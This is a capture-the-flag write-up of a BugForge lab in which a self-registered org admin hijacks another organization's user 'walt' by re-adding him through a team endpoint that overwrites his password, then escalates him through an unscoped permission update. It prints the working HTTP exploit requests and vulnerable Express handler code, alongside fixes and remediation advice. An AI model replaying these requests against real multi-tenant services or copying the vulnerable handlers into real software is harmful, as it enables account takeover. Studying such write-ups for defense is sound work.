BugForge — 2026.03.28

Galaxy Dash: Cross-Org User Hijacking

BugForge Broken Access Control medium

Overview

  • Platform: BugForge
  • Vulnerability: Broken Access Control — Cross-Organization User Hijacking, Broken Object-Level Authorization on Permission Updates
  • Key Technique: Adding an existing user from another org via POST /api/team, which overwrites their credentials and pulls them into the attacker’s org
  • Result: Full account takeover of target user walt, flag captured from login response

Objective

Compromise target user walt on a Futurama-themed intergalactic B2B delivery platform (Galaxy Dash). The flag is returned in the login response when authenticating as walt.

Initial Access

# Target Application
URL: https://lab-1774738563184-bgoz3k.labs-app.bugforge.io

# Auth — self-registered org_admin
Username: haxor
Organization ID: 4 (attacker-controlled)

Key Findings

  1. Cross-Org User Hijacking via Team Management (CWE-284: Improper Access Control, CWE-639: Authorization Bypass Through User-Controlled Key) — POST /api/team accepts any existing username and overwrites their email/password, pulling them into the attacker’s organization. No org boundary validation.

  2. Broken Access Control on Team Permission Updates (CWE-639: Authorization Bypass Through User-Controlled Key) — PUT /api/team/:id uses numeric user IDs with no organization scoping. Any org_admin can modify permissions for users outside their org.


Attack Chain Visualization

┌──────────────┐     POST /api/register      ┌─────────────────┐
│   Attacker   │────────────────────────────▶│  New Org (id:4) │
│              │     org_admin JWT           │  user: haxor    │
└──────┬───────┘                             └─────────────────┘
       │
       │  POST /api/team
       │  {"username":"walt", "password":"attacker_pw", ...}
       ▼
┌──────────────────────────────────────────────────────────┐
│  Server: finds existing user walt (id:2)                 │
│  → Overwrites walt's email + password                    │
│  → Moves walt into org 4 (attacker's org)                │
│  → Returns: {"id":2,"message":"Team member added..."}    │
└──────────────────────────────────┬───────────────────────┘
                                   │
       ┌───────────────────────────┘
       │  POST /api/login
       │  {"username":"walt", "password":"attacker_pw"}
       ▼
┌──────────────────────────────────────────────────────────┐
│  Server returns walt's JWT + flag                        │
│  bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx}                   │
└──────────────────────────────────────────────────────────┘

Application Architecture

Component Path Description
Frontend React SPA Futurama-themed delivery dashboard
Backend Express (Node.js) REST API with JWT auth
Database SQLite (likely) User, org, booking, invoice storage
Auth JWT HS256 Claims: {id, username, organizationId, iat} — no expiry
CORS Access-Control-Allow-Origin: * Permissive cross-origin policy

Exploitation Path

Step 1: Reconnaissance — Mapping the API Surface

Registered a new organization and mapped all API endpoints via the React SPA’s network traffic. Key observations:

  • JWT payload contains organizationId used for server-side scoping
  • Team management endpoints operate on usernames (add/delete) and numeric IDs (permission update)
  • No token expiry — JWTs valid indefinitely
  • Roles: org_admin (full access), viewer (read-only)
  • Granular permissions: can_view_deliveries, can_create_deliveries, can_edit_deliveries, can_manage_team, can_manage_org

Step 2: Cross-Org User Hijacking via POST /api/team

The team member creation endpoint accepts a username, email, password, role, and permissions. The critical flaw: it does not check whether the username already exists in another organization.

Request:

POST /api/team HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json

{
  "username": "walt",
  "email": "pwned@attacker.com",
  "password": "attacker_pw",
  "full_name": "",
  "role": "viewer",
  "permissions": {
    "can_view_deliveries": true,
    "can_create_deliveries": false,
    "can_edit_deliveries": false,
    "can_manage_team": false,
    "can_manage_org": false
  }
}

Response:

{"id": 2, "message": "Team member added successfully"}

Three boundaries broken in a single request:

  1. Cross-org access — attacker’s JWT (org 4) targeting user in org 1
  2. Credential overwrite — existing user’s password and email replaced
  3. No ownership validation — server finds user by username globally, not scoped to org

Step 3: Login as Hijacked User

With walt’s credentials now set to attacker-controlled values:

POST /api/login HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Content-Type: application/json

{
  "username": "walt",
  "password": "attacker_pw"
}

The response included walt’s JWT and the flag in the response body.

Step 4: Permission Escalation (Bonus)

After hijacking walt, escalated his role to org_admin using the numeric ID returned in Step 2:

PUT /api/team/2 HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{
  "role": "org_admin",
  "permissions": {
    "can_view_deliveries": true,
    "can_create_deliveries": true,
    "can_edit_deliveries": true,
    "can_manage_team": true,
    "can_manage_org": true
  }
}

This succeeded — the endpoint uses numeric user IDs with no org boundary check.


Flag / Objective Achieved

bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx}

Returned in POST /api/login response body after authenticating as hijacked user walt.


Key Learnings

  • Team management endpoints are high-value targets — they often operate on usernames or IDs that may reference users across organizational boundaries
  • “Add member” flows that accept usernames are dangerous — if the server resolves the username globally instead of within the calling org’s scope, cross-org access is trivial
  • Credential overwrite on existing users is catastrophic — the endpoint should reject the request if the user already exists, not silently update their credentials
  • Sequential numeric IDs without org scopingPUT /api/team/:id using user ID 2 worked regardless of the caller’s org, indicating object-level authorization is missing
  • No JWT expiry combined with account takeover means persistence — stolen sessions remain valid indefinitely

Failed Approaches

Approach Result Why It Failed
N/A — first hypothesis succeeded

The initial hypothesis (cross-org user hijacking via team management) was the correct vector. No dead ends encountered.


Tools Used

Tool Purpose
Caido HTTP proxy for intercepting/replaying requests
Firefox Browser interaction with React SPA
curl Request reproduction and evidence capture

Remediation

1. Cross-Org User Hijacking (CVSS 9.8 — Critical)

Issue: POST /api/team resolves usernames globally and overwrites credentials on existing users, enabling full account takeover across organization boundaries.

CWE References:

  • CWE-284: Improper Access Control
  • CWE-639: Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
app.post('/api/team', async (req, res) => {
  const { username, email, password, role, permissions } = req.body;
  const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
  if (existingUser) {
    // BUG: Updates existing user's credentials and org membership
    await db.run('UPDATE users SET email = ?, password = ?, organization_id = ? WHERE username = ?',
      email, hashedPassword, req.user.organizationId, username);
    return res.json({ id: existingUser.id, message: 'Team member added successfully' });
  }
  // ... create new user
});

// AFTER (Secure)
app.post('/api/team', async (req, res) => {
  const { username, email, password, role, permissions } = req.body;
  const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
  if (existingUser) {
    // Reject if user exists — never overwrite credentials
    return res.status(409).json({ error: 'Username already taken' });
  }
  // Create new user scoped to the caller's org
  const newUser = await db.run(
    'INSERT INTO users (username, email, password, organization_id, role) VALUES (?, ?, ?, ?, ?)',
    username, email, hashedPassword, req.user.organizationId, role
  );
  return res.status(201).json({ id: newUser.lastID, message: 'Team member created' });
});

2. Broken Object-Level Authorization on Permission Updates (CVSS 8.1 — High)

Issue: PUT /api/team/:id accepts a numeric user ID with no validation that the target user belongs to the calling user’s organization.

CWE Reference: CWE-639: Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
app.put('/api/team/:id', async (req, res) => {
  const { role, permissions } = req.body;
  await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
  // No org check — any user ID is accepted
});

// AFTER (Secure)
app.put('/api/team/:id', async (req, res) => {
  const { role, permissions } = req.body;
  const targetUser = await db.get(
    'SELECT * FROM users WHERE id = ? AND organization_id = ?',
    req.params.id, req.user.organizationId
  );
  if (!targetUser) {
    return res.status(404).json({ error: 'User not found in your organization' });
  }
  await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
});

Additional Recommendations

  • Add JWT expiry — current tokens have no exp claim, allowing indefinite session persistence
  • Restrict CORSAccess-Control-Allow-Origin: * allows any origin to make authenticated requests
  • Use UUIDs instead of sequential IDs — reduces enumeration risk on team, booking, and invoice endpoints
  • Audit unconfirmed vectors — IDOR on bookings/invoices and client-side price trust are likely vulnerable given the pattern

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control — Primary finding. Cross-org user hijacking, missing org boundary validation on team management, and object-level authorization bypass on permission updates
  • A07:2021 — Identification and Authentication Failures — Credential overwrite on existing users, JWTs with no expiry
  • A05:2021 — Security Misconfiguration — Permissive CORS (Access-Control-Allow-Origin: *)

References


Tags: #broken-access-control #IDOR #account-takeover #cross-org #JWT #BugForge #webapp Document Version: 1.0 Last Updated: 2026-03-28

#IDOR #account-takeover #cross-org #JWT